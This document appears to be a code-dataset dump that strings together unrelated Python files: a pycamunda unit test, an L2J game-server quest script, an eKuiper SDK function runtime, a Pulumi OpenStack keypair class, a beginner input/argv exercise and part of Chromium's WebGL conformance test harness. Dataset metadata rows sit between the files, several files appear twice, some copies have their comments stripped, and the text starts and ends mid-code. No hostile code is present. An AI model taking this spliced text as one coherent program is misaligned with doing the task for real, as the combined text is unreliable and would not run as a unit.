assert instance.process_definition_id == my_transition_instance_json['processDefinitionId']
assert instance.execution_ids == tuple(my_transition_instance_json['executionId'])
assert instance.incident_ids == tuple(my_transition_instance_json['incidentIds'])
assert instance.incidents == (INCIDENT_TYPE_COUNT, )
def test_transition_instance_load_raises_keyerror(my_transition_instance_json):
for key in my_transition_instance_json:
json_ = dict(my_transition_instance_json)
del json_[key]
with pytest.raises(KeyError):
pycamunda.activityinst.TransitionInstance.load(json_)
| 37.829268 | 95 | 0.796905 |
import unittest.mock
import pytest
import pycamunda.activityinst
import pycamunda.incident
INCIDENT_TYPE_COUNT = pycamunda.incident.IncidentTypeCount(
incident_type=pycamunda.incident.IncidentType.failed_job,
incident_count=1
)
@unittest.mock.patch(
'pycamunda.incident.IncidentTypeCount.load',
lambda _: INCIDENT_TYPE_COUNT
)
def test_transition_instance_load(my_transition_instance_json):
instance = pycamunda.activityinst.TransitionInstance.load(my_transition_instance_json)
assert instance.id_ == my_transition_instance_json['id']
assert instance.activity_id == my_transition_instance_json['activityId']
assert instance.activity_name == my_transition_instance_json['activityName']
assert instance.activity_type == my_transition_instance_json['activityType']
assert instance.process_instance_id == my_transition_instance_json['processInstanceId']
assert instance.process_definition_id == my_transition_instance_json['processDefinitionId']
assert instance.execution_ids == tuple(my_transition_instance_json['executionId'])
assert instance.incident_ids == tuple(my_transition_instance_json['incidentIds'])
assert instance.incidents == (INCIDENT_TYPE_COUNT, )
def test_transition_instance_load_raises_keyerror(my_transition_instance_json):
for key in my_transition_instance_json:
json_ = dict(my_transition_instance_json)
del json_[key]
with pytest.raises(KeyError):
pycamunda.activityinst.TransitionInstance.load(json_)
| true | true |
f7f381b1782abf1c0a2a027d91e4c5a8e64080f7 | 3,561 | py | Python | L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py | Vladislav-Zolotaryov/L2J_Levelless_Custom | fb9fd3d22209679258cddc60cec104d740f13b8c | [
"MIT"
] | null | null | null | L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py | Vladislav-Zolotaryov/L2J_Levelless_Custom | fb9fd3d22209679258cddc60cec104d740f13b8c | [
"MIT"
] | null | null | null | L2J_DataPack/data/scripts/quests/152_ShardsOfGolem/__init__.py | Vladislav-Zolotaryov/L2J_Levelless_Custom | fb9fd3d22209679258cddc60cec104d740f13b8c | [
"MIT"
] | null | null | null | # Made by Mr. - Version 0.2
import sys
from com.l2jserver.gameserver.model.quest import State
from com.l2jserver.gameserver.model.quest import QuestState
from com.l2jserver.gameserver.model.quest.jython import QuestJython as JQuest
qn = "152_ShardsOfGolem"
HARRYS_RECEIPT1_ID = 1008
HARRYS_RECEIPT2_ID = 1009
GOLEM_SHARD_ID = 1010
TOOL_BOX_ID = 1011
WOODEN_BP_ID = 23
#NPC
HARRIS=30035
ALTRAN=30283
class Quest (JQuest) :
def __init__(self,id,name,descr):
JQuest.__init__(self,id,name,descr)
self.questItemIds = range(1008,1012)
def onAdvEvent (self,event,npc, player) :
htmltext = event
st = player.getQuestState(qn)
if not st : return
id = st.getState()
cond = st.getInt("cond")
if id != State.COMPLETED :
if event == "30035-04.htm" and cond == 0 :
st.set("cond","1")
st.setState(State.STARTED)
st.playSound("ItemSound.quest_accept")
st.giveItems(HARRYS_RECEIPT1_ID,1)
elif event == "30283-02.htm" and cond == 1 and st.getQuestItemsCount(HARRYS_RECEIPT1_ID) :
st.takeItems(HARRYS_RECEIPT1_ID,-1)
st.giveItems(HARRYS_RECEIPT2_ID,1)
st.set("cond","2")
return htmltext
def onTalk (self,npc,player):
htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>"
st = player.getQuestState(qn)
if not st : return htmltext
npcId = npc.getNpcId()
id = st.getState()
cond = st.getInt("cond")
receipt1 = st.getQuestItemsCount(HARRYS_RECEIPT1_ID)
receipt2 = st.getQuestItemsCount(HARRYS_RECEIPT2_ID)
toolbox = st.getQuestItemsCount(TOOL_BOX_ID)
shards = st.getQuestItemsCount(GOLEM_SHARD_ID)
if id == State.COMPLETED :
htmltext = "<html><body>This quest has already been completed.</body></html>"
elif npcId == HARRIS :
if cond == 0 :
if player.getLevel() >= 10 :
htmltext = "30035-03.htm"
else:
htmltext = "30035-02.htm"
st.exitQuest(1)
elif cond == 1 and receipt1 and not toolbox :
htmltext = "30035-05.htm"
elif cond == 3 and toolbox :
st.takeItems(TOOL_BOX_ID,-1)
st.takeItems(HARRYS_RECEIPT2_ID,-1)
st.unset("cond")
st.exitQuest(False)
st.playSound("ItemSound.quest_finish")
st.giveItems(WOODEN_BP_ID,1)
st.addExpAndSp(5000,0)
htmltext = "30035-06.htm"
elif npcId == ALTRAN and id == State.STARTED:
if cond == 1 and receipt1 :
htmltext = "30283-01.htm"
elif cond == 2 and receipt2 and shards < 5 and not toolbox :
htmltext = "30283-03.htm"
elif cond == 3 and receipt2 and shards >= 5 and not toolbox :
st.takeItems(GOLEM_SHARD_ID,-1)
st.giveItems(TOOL_BOX_ID,1)
htmltext = "30283-04.htm"
elif cond == 3 and receipt2 and toolbox :
htmltext = "30283-05.htm"
return htmltext
def onKill(self,npc,player,isPet):
st = player.getQuestState(qn)
if not st : return
if st.getState() != State.STARTED : return
count=st.getQuestItemsCount(GOLEM_SHARD_ID)
if st.getInt("cond")==2 and st.getRandom(100) < 30 and count < 5 :
st.giveItems(GOLEM_SHARD_ID,1)
if count == 4 :
st.playSound("ItemSound.quest_middle")
st.set("cond","3")
else :
st.playSound("ItemSound.quest_itemget")
return
QUEST = Quest(152,qn,"Shards Of Golem")
QUEST.addStartNpc(HARRIS)
QUEST.addTalkId(HARRIS)
QUEST.addTalkId(ALTRAN)
QUEST.addKillId(20016) | 32.669725 | 152 | 0.653468 |
import sys
from com.l2jserver.gameserver.model.quest import State
from com.l2jserver.gameserver.model.quest import QuestState
from com.l2jserver.gameserver.model.quest.jython import QuestJython as JQuest
qn = "152_ShardsOfGolem"
HARRYS_RECEIPT1_ID = 1008
HARRYS_RECEIPT2_ID = 1009
GOLEM_SHARD_ID = 1010
TOOL_BOX_ID = 1011
WOODEN_BP_ID = 23
HARRIS=30035
ALTRAN=30283
class Quest (JQuest) :
def __init__(self,id,name,descr):
JQuest.__init__(self,id,name,descr)
self.questItemIds = range(1008,1012)
def onAdvEvent (self,event,npc, player) :
htmltext = event
st = player.getQuestState(qn)
if not st : return
id = st.getState()
cond = st.getInt("cond")
if id != State.COMPLETED :
if event == "30035-04.htm" and cond == 0 :
st.set("cond","1")
st.setState(State.STARTED)
st.playSound("ItemSound.quest_accept")
st.giveItems(HARRYS_RECEIPT1_ID,1)
elif event == "30283-02.htm" and cond == 1 and st.getQuestItemsCount(HARRYS_RECEIPT1_ID) :
st.takeItems(HARRYS_RECEIPT1_ID,-1)
st.giveItems(HARRYS_RECEIPT2_ID,1)
st.set("cond","2")
return htmltext
def onTalk (self,npc,player):
htmltext = "<html><body>You are either not on a quest that involves this NPC, or you don't meet this NPC's minimum quest requirements.</body></html>"
st = player.getQuestState(qn)
if not st : return htmltext
npcId = npc.getNpcId()
id = st.getState()
cond = st.getInt("cond")
receipt1 = st.getQuestItemsCount(HARRYS_RECEIPT1_ID)
receipt2 = st.getQuestItemsCount(HARRYS_RECEIPT2_ID)
toolbox = st.getQuestItemsCount(TOOL_BOX_ID)
shards = st.getQuestItemsCount(GOLEM_SHARD_ID)
if id == State.COMPLETED :
htmltext = "<html><body>This quest has already been completed.</body></html>"
elif npcId == HARRIS :
if cond == 0 :
if player.getLevel() >= 10 :
htmltext = "30035-03.htm"
else:
htmltext = "30035-02.htm"
st.exitQuest(1)
elif cond == 1 and receipt1 and not toolbox :
htmltext = "30035-05.htm"
elif cond == 3 and toolbox :
st.takeItems(TOOL_BOX_ID,-1)
st.takeItems(HARRYS_RECEIPT2_ID,-1)
st.unset("cond")
st.exitQuest(False)
st.playSound("ItemSound.quest_finish")
st.giveItems(WOODEN_BP_ID,1)
st.addExpAndSp(5000,0)
htmltext = "30035-06.htm"
elif npcId == ALTRAN and id == State.STARTED:
if cond == 1 and receipt1 :
htmltext = "30283-01.htm"
elif cond == 2 and receipt2 and shards < 5 and not toolbox :
htmltext = "30283-03.htm"
elif cond == 3 and receipt2 and shards >= 5 and not toolbox :
st.takeItems(GOLEM_SHARD_ID,-1)
st.giveItems(TOOL_BOX_ID,1)
htmltext = "30283-04.htm"
elif cond == 3 and receipt2 and toolbox :
htmltext = "30283-05.htm"
return htmltext
def onKill(self,npc,player,isPet):
st = player.getQuestState(qn)
if not st : return
if st.getState() != State.STARTED : return
count=st.getQuestItemsCount(GOLEM_SHARD_ID)
if st.getInt("cond")==2 and st.getRandom(100) < 30 and count < 5 :
st.giveItems(GOLEM_SHARD_ID,1)
if count == 4 :
st.playSound("ItemSound.quest_middle")
st.set("cond","3")
else :
st.playSound("ItemSound.quest_itemget")
return
QUEST = Quest(152,qn,"Shards Of Golem")
QUEST.addStartNpc(HARRIS)
QUEST.addTalkId(HARRIS)
QUEST.addTalkId(ALTRAN)
QUEST.addKillId(20016) | true | true |
f7f382d0e64ce7f422f650dac29546de1a98616b | 3,948 | py | Python | sdk/python/ekuiper/runtime/function.py | Swilder-M/ekuiper | 514890f86f354f57952812d29632b435a80a4b0d | [
"Apache-2.0"
] | null | null | null | sdk/python/ekuiper/runtime/function.py | Swilder-M/ekuiper | 514890f86f354f57952812d29632b435a80a4b0d | [
"Apache-2.0"
] | null | null | null | sdk/python/ekuiper/runtime/function.py | Swilder-M/ekuiper | 514890f86f354f57952812d29632b435a80a4b0d | [
"Apache-2.0"
] | null | null | null | # Copyright 2021 EMQ Technologies Co., Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import json
import logging
import traceback
from . import reg
from .connection import PairChannel
from .contextimpl import ContextImpl
from .symbol import SymbolRuntime
from ..function import Function
class FunctionRuntime(SymbolRuntime):
def __init__(self, ctrl: dict, s: Function):
ch = PairChannel(ctrl['symbolName'], 1)
self.s = s
self.ch = ch
self.running = False
self.key = "func_{}".format(ctrl['symbolName'])
self.funcs = {}
def run(self):
self.running = True
reg.setr(self.key, self)
# noinspection PyBroadException
try:
self.ch.run(self.do_run)
except Exception:
if self.running:
logging.error(traceback.format_exc())
finally:
self.stop()
def do_run(self, req: bytes):
# noinspection PyBroadException
try:
c = json.loads(req)
logging.debug("running func with ", c)
name = c['func']
if name == "Validate":
err = self.s.validate(c['arg'])
if err != "":
return encode_reply(False, err)
else:
return encode_reply(True, "")
elif name == "Exec":
args = c['arg']
if isinstance(args, list) is False or len(args) < 1:
return encode_reply(False, 'invalid arg')
fmeta = json.loads(args[-1])
if 'ruleId' in fmeta and 'opId' in fmeta and 'instanceId' in fmeta \
and 'funcId' in fmeta:
key = f"{fmeta['ruleId']}_{fmeta['opId']}_{fmeta['instanceId']}" \
f"_{fmeta['funcId']}"
if key in self.funcs:
fctx = self.funcs[key]
else:
fctx = ContextImpl(fmeta)
self.funcs[key] = fctx
else:
return encode_reply(False,
f'invalid arg: {fmeta} ruleId, opId, instanceId and funcId'
f' are required')
r = self.s.exec(args[:-1], fctx)
return encode_reply(True, r)
elif name == "IsAggregate":
r = self.s.is_aggregate()
return encode_reply(True, r)
else:
return encode_reply(False, "invalid func {}".format(name))
except Exception:
"""two occasions: normal stop will close socket to raise an error
OR stopped by unexpected error"""
if self.running:
logging.error(traceback.format_exc())
return encode_reply(False, traceback.format_exc())
def stop(self):
self.running = False
# noinspection PyBroadException
try:
self.ch.close()
reg.delete(self.key)
except Exception:
logging.error(traceback.format_exc())
def is_running(self) -> bool:
return self.running
def encode_reply(state: bool, arg: any):
try:
return str.encode(json.dumps({'state': state, 'result': arg}))
except Exception:
return str.encode(json.dumps({'state': False, 'result': traceback.format_exc()}))
| 35.890909 | 99 | 0.550405 |
import json
import logging
import traceback
from . import reg
from .connection import PairChannel
from .contextimpl import ContextImpl
from .symbol import SymbolRuntime
from ..function import Function
class FunctionRuntime(SymbolRuntime):
def __init__(self, ctrl: dict, s: Function):
ch = PairChannel(ctrl['symbolName'], 1)
self.s = s
self.ch = ch
self.running = False
self.key = "func_{}".format(ctrl['symbolName'])
self.funcs = {}
def run(self):
self.running = True
reg.setr(self.key, self)
try:
self.ch.run(self.do_run)
except Exception:
if self.running:
logging.error(traceback.format_exc())
finally:
self.stop()
def do_run(self, req: bytes):
try:
c = json.loads(req)
logging.debug("running func with ", c)
name = c['func']
if name == "Validate":
err = self.s.validate(c['arg'])
if err != "":
return encode_reply(False, err)
else:
return encode_reply(True, "")
elif name == "Exec":
args = c['arg']
if isinstance(args, list) is False or len(args) < 1:
return encode_reply(False, 'invalid arg')
fmeta = json.loads(args[-1])
if 'ruleId' in fmeta and 'opId' in fmeta and 'instanceId' in fmeta \
and 'funcId' in fmeta:
key = f"{fmeta['ruleId']}_{fmeta['opId']}_{fmeta['instanceId']}" \
f"_{fmeta['funcId']}"
if key in self.funcs:
fctx = self.funcs[key]
else:
fctx = ContextImpl(fmeta)
self.funcs[key] = fctx
else:
return encode_reply(False,
f'invalid arg: {fmeta} ruleId, opId, instanceId and funcId'
f' are required')
r = self.s.exec(args[:-1], fctx)
return encode_reply(True, r)
elif name == "IsAggregate":
r = self.s.is_aggregate()
return encode_reply(True, r)
else:
return encode_reply(False, "invalid func {}".format(name))
except Exception:
"""two occasions: normal stop will close socket to raise an error
OR stopped by unexpected error"""
if self.running:
logging.error(traceback.format_exc())
return encode_reply(False, traceback.format_exc())
def stop(self):
self.running = False
try:
self.ch.close()
reg.delete(self.key)
except Exception:
logging.error(traceback.format_exc())
def is_running(self) -> bool:
return self.running
def encode_reply(state: bool, arg: any):
try:
return str.encode(json.dumps({'state': state, 'result': arg}))
except Exception:
return str.encode(json.dumps({'state': False, 'result': traceback.format_exc()}))
| true | true |
f7f382dfe2c534e51164e4b6292ea3bcf72475df | 3,888 | py | Python | sdk/python/pulumi_openstack/compute/keypair.py | Frassle/pulumi-openstack | 6fc26edd7c42e7c3d65a01cf9384148cc56466e4 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_openstack/compute/keypair.py | Frassle/pulumi-openstack | 6fc26edd7c42e7c3d65a01cf9384148cc56466e4 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_openstack/compute/keypair.py | Frassle/pulumi-openstack | 6fc26edd7c42e7c3d65a01cf9384148cc56466e4 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import pulumi
import pulumi.runtime
class Keypair(pulumi.CustomResource):
"""
Manages a V2 keypair resource within OpenStack.
~> **Important Security Notice** The private key generated by this resource will
be stored *unencrypted* in your Terraform state file. **Use of this resource
for production deployments is *not* recommended**. Instead, generate
a private key file outside of Terraform and distribute it securely
to the system where Terraform will be run.
"""
def __init__(__self__, __name__, __opts__=None, name=None, public_key=None, region=None, value_specs=None):
"""Create a Keypair resource with the given unique name, props, and options."""
if not __name__:
raise TypeError('Missing resource name argument (for URN creation)')
if not isinstance(__name__, basestring):
raise TypeError('Expected resource name to be a string')
if __opts__ and not isinstance(__opts__, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
__props__ = dict()
if name and not isinstance(name, basestring):
raise TypeError('Expected property name to be a basestring')
__self__.name = name
"""
A unique name for the keypair. Changing this creates a new
keypair.
"""
__props__['name'] = name
if public_key and not isinstance(public_key, basestring):
raise TypeError('Expected property public_key to be a basestring')
__self__.public_key = public_key
"""
A pregenerated OpenSSH-formatted public key.
Changing this creates a new keypair. If a public key is not specified, then
a public/private key pair will be automatically generated. If a pair is
created, then destroying this resource means you will lose access to that
keypair forever.
"""
__props__['publicKey'] = public_key
if region and not isinstance(region, basestring):
raise TypeError('Expected property region to be a basestring')
__self__.region = region
"""
The region in which to obtain the V2 Compute client.
Keypairs are associated with accounts, but a Compute client is needed to
create one. If omitted, the `region` argument of the provider is used.
Changing this creates a new keypair.
"""
__props__['region'] = region
if value_specs and not isinstance(value_specs, dict):
raise TypeError('Expected property value_specs to be a dict')
__self__.value_specs = value_specs
"""
Map of additional options.
"""
__props__['valueSpecs'] = value_specs
__self__.fingerprint = pulumi.runtime.UNKNOWN
"""
The fingerprint of the public key.
"""
__self__.private_key = pulumi.runtime.UNKNOWN
"""
The generated private key when no public key is specified.
"""
super(Keypair, __self__).__init__(
'openstack:compute/keypair:Keypair',
__name__,
__props__,
__opts__)
def set_outputs(self, outs):
if 'fingerprint' in outs:
self.fingerprint = outs['fingerprint']
if 'name' in outs:
self.name = outs['name']
if 'privateKey' in outs:
self.private_key = outs['privateKey']
if 'publicKey' in outs:
self.public_key = outs['publicKey']
if 'region' in outs:
self.region = outs['region']
if 'valueSpecs' in outs:
self.value_specs = outs['valueSpecs']
| 40.082474 | 111 | 0.639403 |
import pulumi
import pulumi.runtime
class Keypair(pulumi.CustomResource):
def __init__(__self__, __name__, __opts__=None, name=None, public_key=None, region=None, value_specs=None):
if not __name__:
raise TypeError('Missing resource name argument (for URN creation)')
if not isinstance(__name__, basestring):
raise TypeError('Expected resource name to be a string')
if __opts__ and not isinstance(__opts__, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
__props__ = dict()
if name and not isinstance(name, basestring):
raise TypeError('Expected property name to be a basestring')
__self__.name = name
__props__['name'] = name
if public_key and not isinstance(public_key, basestring):
raise TypeError('Expected property public_key to be a basestring')
__self__.public_key = public_key
__props__['publicKey'] = public_key
if region and not isinstance(region, basestring):
raise TypeError('Expected property region to be a basestring')
__self__.region = region
__props__['region'] = region
if value_specs and not isinstance(value_specs, dict):
raise TypeError('Expected property value_specs to be a dict')
__self__.value_specs = value_specs
__props__['valueSpecs'] = value_specs
__self__.fingerprint = pulumi.runtime.UNKNOWN
__self__.private_key = pulumi.runtime.UNKNOWN
super(Keypair, __self__).__init__(
'openstack:compute/keypair:Keypair',
__name__,
__props__,
__opts__)
def set_outputs(self, outs):
if 'fingerprint' in outs:
self.fingerprint = outs['fingerprint']
if 'name' in outs:
self.name = outs['name']
if 'privateKey' in outs:
self.private_key = outs['privateKey']
if 'publicKey' in outs:
self.public_key = outs['publicKey']
if 'region' in outs:
self.region = outs['region']
if 'valueSpecs' in outs:
self.value_specs = outs['valueSpecs']
| true | true |
f7f383ba176078cdb8703b3c821c9201cf74c745 | 437 | py | Python | coding/ex12-13.py | Hira63S/KnightRyder | d4b7238d8fc8dfcdfbbb9fd5d232f6273c76840e | [
"MIT"
] | 1 | 2020-12-19T15:44:25.000Z | 2020-12-19T15:44:25.000Z | coding/ex12-13.py | Hira63S/PythonPractice | 5eadc04f2fb056b04db59a658d5914ea847be7d2 | [
"MIT"
] | null | null | null | coding/ex12-13.py | Hira63S/PythonPractice | 5eadc04f2fb056b04db59a658d5914ea847be7d2 | [
"MIT"
] | null | null | null | age = input("How old are you babe?")
race = input("What race are you?")
identity = input("How do you identify yourself. a no:")
print(f"So if you are {age} old, and you are from {race}, you identify as {identity}")
from sys import argv
script, first, second, third = argv
print("The script is called:", script)
print("Your first variable is:", first)
print("Your second variable is:", second)
print("Your third variable is:", third)
| 29.133333 | 86 | 0.702517 | age = input("How old are you babe?")
race = input("What race are you?")
identity = input("How do you identify yourself. a no:")
print(f"So if you are {age} old, and you are from {race}, you identify as {identity}")
from sys import argv
script, first, second, third = argv
print("The script is called:", script)
print("Your first variable is:", first)
print("Your second variable is:", second)
print("Your third variable is:", third)
| true | true |
f7f3854348397fc78bc156442518fd76cce148d2 | 20,920 | py | Python | content/test/gpu/gpu_tests/webgl_conformance_integration_test.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 76 | 2020-09-02T03:05:41.000Z | 2022-03-30T04:40:55.000Z | content/test/gpu/gpu_tests/webgl_conformance_integration_test.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 45 | 2020-09-02T03:21:37.000Z | 2022-03-31T22:19:45.000Z | content/test/gpu/gpu_tests/webgl_conformance_integration_test.py | zealoussnow/chromium | fd8a8914ca0183f0add65ae55f04e287543c7d4a | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | 8 | 2020-07-22T18:49:18.000Z | 2022-02-08T10:27:16.000Z | # Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from __future__ import print_function
import logging
import os
import re
import sys
from gpu_tests import common_browser_args as cba
from gpu_tests import gpu_helper
from gpu_tests import gpu_integration_test
from gpu_tests import path_util
from gpu_tests import webgl_test_util
conformance_harness_script = r"""
var testHarness = {};
testHarness._allTestSucceeded = true;
testHarness._messages = '';
testHarness._failures = 0;
testHarness._finished = false;
testHarness._originalLog = window.console.log;
testHarness.log = function(msg) {
testHarness._messages += msg + "\n";
testHarness._originalLog.apply(window.console, [msg]);
}
testHarness.reportResults = function(url, success, msg) {
testHarness._allTestSucceeded = testHarness._allTestSucceeded && !!success;
if(!success) {
testHarness._failures++;
if(msg) {
testHarness.log(msg);
}
}
};
testHarness.notifyFinished = function(url) {
testHarness._finished = true;
};
testHarness.navigateToPage = function(src) {
var testFrame = document.getElementById("test-frame");
testFrame.src = src;
};
window.webglTestHarness = testHarness;
window.parent.webglTestHarness = testHarness;
window.console.log = testHarness.log;
window.onerror = function(message, url, line) {
testHarness.reportResults(null, false, message);
testHarness.notifyFinished(null);
};
window.quietMode = function() { return true; }
"""
extension_harness_additional_script = r"""
window.onload = function() { window._loaded = true; }
"""
if sys.version_info[0] == 3:
# cmp no longer exists in Python 3
def cmp(a, b): # pylint: disable=redefined-builtin
return int(a > b) - int(a < b)
def _CompareVersion(version1, version2):
ver_num1 = [int(x) for x in version1.split('.')]
ver_num2 = [int(x) for x in version2.split('.')]
size = min(len(ver_num1), len(ver_num2))
return cmp(ver_num1[0:size], ver_num2[0:size])
class WebGLTestArgs(object):
"""Struct-like class for passing args to a WebGLConformance test."""
def __init__(self, webgl_version=None, extension=None, extension_list=None):
self.webgl_version = webgl_version
self.extension = extension
self.extension_list = extension_list
class WebGLConformanceIntegrationTest(gpu_integration_test.GpuIntegrationTest):
_webgl_version = None
_is_asan = False
_crash_count = 0
_gl_backend = ""
_angle_backend = ""
_command_decoder = ""
_verified_flags = False
@classmethod
def Name(cls):
return 'webgl_conformance'
@classmethod
def AddCommandlineArgs(cls, parser):
super(WebGLConformanceIntegrationTest, cls).AddCommandlineArgs(parser)
parser.add_option(
'--webgl-conformance-version',
help='Version of the WebGL conformance tests to run.',
default='1.0.4')
parser.add_option(
'--webgl2-only',
help='Whether we include webgl 1 tests if version is 2.0.0 or above.',
default='false')
parser.add_option(
'--is-asan',
help='Indicates whether currently running an ASAN build',
action='store_true',
default=False)
@classmethod
def GenerateGpuTests(cls, options):
#
# Conformance tests
#
test_paths = cls._ParseTests('00_test_list.txt',
options.webgl_conformance_version,
(options.webgl2_only == 'true'), None)
cls._webgl_version = [
int(x) for x in options.webgl_conformance_version.split('.')
][0]
cls._is_asan = options.is_asan
for test_path in test_paths:
test_path_with_args = test_path
if cls._webgl_version > 1:
test_path_with_args += '?webglVersion=' + str(cls._webgl_version)
yield (test_path.replace(os.path.sep, '/'),
os.path.join(webgl_test_util.conformance_relpath,
test_path_with_args), ('_RunConformanceTest',
WebGLTestArgs()))
#
# Extension tests
#
extension_tests = cls._GetExtensionList()
# Coverage test.
yield ('WebglExtension_TestCoverage',
os.path.join(webgl_test_util.extensions_relpath,
'webgl_extension_test.html'),
('_RunExtensionCoverageTest',
WebGLTestArgs(webgl_version=cls._webgl_version,
extension_list=extension_tests)))
# Individual extension tests.
for extension in extension_tests:
yield ('WebglExtension_%s' % extension,
os.path.join(webgl_test_util.extensions_relpath,
'webgl_extension_test.html'),
('_RunExtensionTest',
WebGLTestArgs(webgl_version=cls._webgl_version,
extension=extension)))
@classmethod
def _GetExtensionList(cls):
if cls._webgl_version == 1:
return [
'ANGLE_instanced_arrays',
'EXT_blend_minmax',
'EXT_color_buffer_half_float',
'EXT_disjoint_timer_query',
'EXT_float_blend',
'EXT_frag_depth',
'EXT_shader_texture_lod',
'EXT_sRGB',
'EXT_texture_compression_bptc',
'EXT_texture_compression_rgtc',
'EXT_texture_filter_anisotropic',
'KHR_parallel_shader_compile',
'OES_element_index_uint',
'OES_fbo_render_mipmap',
'OES_standard_derivatives',
'OES_texture_float',
'OES_texture_float_linear',
'OES_texture_half_float',
'OES_texture_half_float_linear',
'OES_vertex_array_object',
'WEBGL_color_buffer_float',
'WEBGL_compressed_texture_astc',
'WEBGL_compressed_texture_etc',
'WEBGL_compressed_texture_etc1',
'WEBGL_compressed_texture_pvrtc',
'WEBGL_compressed_texture_s3tc',
'WEBGL_compressed_texture_s3tc_srgb',
'WEBGL_debug_renderer_info',
'WEBGL_debug_shaders',
'WEBGL_depth_texture',
'WEBGL_draw_buffers',
'WEBGL_lose_context',
'WEBGL_multi_draw',
'WEBGL_video_texture',
'WEBGL_webcodecs_video_frame',
]
else:
return [
'EXT_color_buffer_float',
'EXT_color_buffer_half_float',
'EXT_disjoint_timer_query_webgl2',
'EXT_float_blend',
'EXT_texture_compression_bptc',
'EXT_texture_compression_rgtc',
'EXT_texture_filter_anisotropic',
'EXT_texture_norm16',
'KHR_parallel_shader_compile',
'OES_draw_buffers_indexed',
'OES_texture_float_linear',
'OVR_multiview2',
'WEBGL_compressed_texture_astc',
'WEBGL_compressed_texture_etc',
'WEBGL_compressed_texture_etc1',
'WEBGL_compressed_texture_pvrtc',
'WEBGL_compressed_texture_s3tc',
'WEBGL_compressed_texture_s3tc_srgb',
'WEBGL_debug_renderer_info',
'WEBGL_debug_shaders',
'WEBGL_draw_instanced_base_vertex_base_instance',
'WEBGL_lose_context',
'WEBGL_multi_draw',
'WEBGL_multi_draw_instanced_base_vertex_base_instance',
'WEBGL_video_texture',
'WEBGL_webcodecs_video_frame',
]
def RunActualGpuTest(self, test_path, *args):
# This indirection allows these tests to trampoline through
# _RunGpuTest.
assert len(args) == 2
test_name = args[0]
test_args = args[1]
getattr(self, test_name)(test_path, test_args)
def _VerifyGLBackend(self, gpu_info):
# Verify that Chrome's GL backend matches if a specific one was requested
if self._gl_backend:
if (self._gl_backend == 'angle'
and gpu_helper.GetANGLERenderer(gpu_info) == 'angle-disabled'):
self.fail('requested GL backend (' + self._gl_backend + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _VerifyANGLEBackend(self, gpu_info):
if self._angle_backend:
# GPU exepections use slightly different names for the angle backends
# than the Chrome flags
known_backend_flag_map = {
'angle-d3d11': ['d3d11'],
'angle-d3d9': ['d3d9'],
'angle-opengl': ['gl'],
'angle-opengles': ['gles'],
'angle-metal': ['metal'],
'angle-vulkan': ['vulkan'],
# Support setting VK_ICD_FILENAMES for swiftshader when requesting
# the 'vulkan' backend.
'angle-swiftshader': ['swiftshader', 'vulkan'],
}
current_angle_backend = gpu_helper.GetANGLERenderer(gpu_info)
if (current_angle_backend not in known_backend_flag_map or
self._angle_backend not in \
known_backend_flag_map[current_angle_backend]):
self.fail('requested ANGLE backend (' + self._angle_backend + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _VerifyCommandDecoder(self, gpu_info):
if self._command_decoder:
# GPU exepections use slightly different names for the command decoders
# than the Chrome flags
known_command_decoder_flag_map = {
'passthrough': 'passthrough',
'no_passthrough': 'validating',
}
current_command_decoder = gpu_helper.GetCommandDecoder(gpu_info)
if (current_command_decoder not in known_command_decoder_flag_map or
known_command_decoder_flag_map[current_command_decoder] != \
self._command_decoder):
self.fail('requested command decoder (' + self._command_decoder + ')' +
' had no effect on the browser: ' +
_GetGPUInfoErrorString(gpu_info))
return False
return True
def _NavigateTo(self, test_path, harness_script):
gpu_info = self.browser.GetSystemInfo().gpu
self._crash_count = gpu_info.aux_attributes['process_crash_count']
if not self._verified_flags:
# If the user specified any flags for ANGLE or the command decoder,
# verify that the browser is actually using the requested configuration
if (self._VerifyGLBackend(gpu_info) and self._VerifyANGLEBackend(gpu_info)
and self._VerifyCommandDecoder(gpu_info)):
self._verified_flags = True
url = self.UrlOfStaticFilePath(test_path)
self.tab.Navigate(url, script_to_evaluate_on_commit=harness_script)
def _CheckTestCompletion(self):
self.tab.action_runner.WaitForJavaScriptCondition(
'webglTestHarness._finished', timeout=self._GetTestTimeout())
if self._crash_count != self.browser.GetSystemInfo().gpu \
.aux_attributes['process_crash_count']:
self.fail('GPU process crashed during test.\n' +
self._WebGLTestMessages(self.tab))
elif not self._DidWebGLTestSucceed(self.tab):
self.fail(self._WebGLTestMessages(self.tab))
def _RunConformanceTest(self, test_path, _):
self._NavigateTo(test_path, conformance_harness_script)
self._CheckTestCompletion()
def _RunExtensionCoverageTest(self, test_path, test_args):
self._NavigateTo(test_path, _GetExtensionHarnessScript())
self.tab.action_runner.WaitForJavaScriptCondition(
'window._loaded', timeout=self._GetTestTimeout())
context_type = "webgl2" if test_args.webgl_version == 2 else "webgl"
extension_list_string = "["
for extension in test_args.extension_list:
